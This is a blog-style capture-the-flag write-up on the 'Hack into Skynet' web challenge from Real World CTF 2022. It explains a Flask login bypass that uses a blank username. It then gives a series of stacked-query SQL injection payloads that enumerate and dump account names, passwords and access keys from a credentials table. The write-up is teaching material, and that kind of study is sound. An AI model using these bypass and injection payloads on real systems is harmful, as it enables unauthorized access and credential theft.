Hello hackers ッ✋✋,
In this writeup, I’m sharing one of the potential methods to pwn a web challenge on Real world CTF 2022. All challenges built on top of real-world applications & due to the impact of COVID-19, The 4th Real World CTF was online mode. From the challenge definition itself, I comprehend there’s SQLI vulnerability. I spend around 24hrs. But I failed !
I truthfully express my gratitude to Fanky & xl00t. During the CTF was Live, the challenge made me sick. Although, after communicating with those mentioned people, I came back & did this with a new perspective. That’s why I’m publishing a writeup for this special one. So let’s start,
Challenge name : Hack into Skynet
Challenge type : Web
Difficulty level: Schrödinger
(A hypothetical cat assumed simultaneously both alive and dead. Likewise, the challenge may be "easy or insane")
— > “Which way do you prefer?”
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++Solutions:1. Login bypass via exploiting the logic error & then SQLI
(WAF bypassing).2. Abusing the Flask.++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
You can check out the second scenario here at: “Abusing the Flask”
The above interface was the initial point of the challenge. And there’s an attachment along with this. By perusing the code, we will get how it works.
So it’s clear that once we logged in, the server allocates a special unique ID for our session. Until then, the cookie will be null (not exist).
Point:
If we’re able to get sessionId, we will acquire the initial system entrance.
There’s some stuff left there in code, we’ll get back if needed.
The vulnerable point is glued right below. Can you recognize the bug in the below code? It was the point where I was astounded & sweat amid the competition. I couldn’t figure out this before.
If we send blank value in “username” parameter,
username will be --> "⇩⇩⇩username = flask.request.form.get(‘username’, ‘’) = “
And if we specify a password in the "password" parameter, it'll escape from "if check" & wouldn't return false.⇩⇩⇩username = flask.request.form.get('username', '')
password = flask.request.form.get('password', '')if not username and not password:return False
It queries the DB but won’t find anything. Thus in the below case, the else part is carried out. Then the parameter “name” is set to → “
name = user[0][1] if user and user[0] and user[0][1] else ‘’(line no: 105)
And finally, the parameters “name” & “username” becomes the same → “
Hence,
return name == username (Condition is: return True)
BOOM..!! Vulnerability found.
Now we can meaningfully abuse this.
POST /login HTTP/1.1
Host: 47.242.21.212:8081
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
Origin: http://47.242.21.212:8081
Connection: close
Referer: http://47.242.21.212:8081/login
Upgrade-Insecure-Requests: 1
Sec-GPC: 1username=&password=ctf
Passing the blank value in “username” & any in “password” parameters
(as we discussed above), we can bypass the login page. The server returns the SessionId. And we’re finally logged in.
username=&password=any_value
From the interface itself, it’s clear that it’s time for SQL Injection.
It’s previously noticed while doing code analysis.
Since we found table “target_credentials” from the attachment code, it’s easy to trigger the valid payload.
Tested Payloads (Valid):
'; select * from target_credentials limit 1 offset '1'; select * from target_credentials limit 1 offset '2'; select * from target_credentials limit 1 offset '3....etc. up to'; select * from target_credentials limit 1 offset '12
'; select column_name, null from information_schema.columns where table_name='target_credentials' limit 1 offset '1Query returns ⇣⇣⇣account: None********************************************************************'; select column_name, null from information_schema.columns where table_name='target_credentials' limit 1 offset '2Query returns ⇣⇣⇣password: None********************************************************************'; select column_name, null from information_schema.columns where table_name='target_credentials' limit 1 offset '3Query returns ⇣⇣⇣access_key: None********************************************************************'; select column_name, null from information_schema.columns where table_name='target_credentials' limit 1 offset '4Query returns ⇣⇣⇣secret_key: None********************************************************************
So we got,
1 = account
2 = password
3 = access_key
4 = secret_key
eg:
‘; select column_name, null from information_schema.columns where table_name=’target_credentials’ limit 1 offset ‘4
So we understand what to provide in upcoming steps.
1 = account
‘; select account, null from target_credentials limit 4 offset ‘0
2= password
‘; select password, null from target_credentials limit 4 offset ‘0
3 = access_key
‘; select access_key, null from target_credentials limit 4 offset ‘0
4 = secret_key
‘; select secret_key, null from target_credentials limit 4 offset ‘0
Yaay..!!
Finally, we pwned the Skynet.
Flag: rwctf{t0-h4ck-$kynet-0r-f1ask_that-Is-th3-questi0n}
You can also do the job with automation.
Exploit code:
I hope you relished my write-up. Feel free to connect & share your views with me. You can find me here @•7h3h4ckv157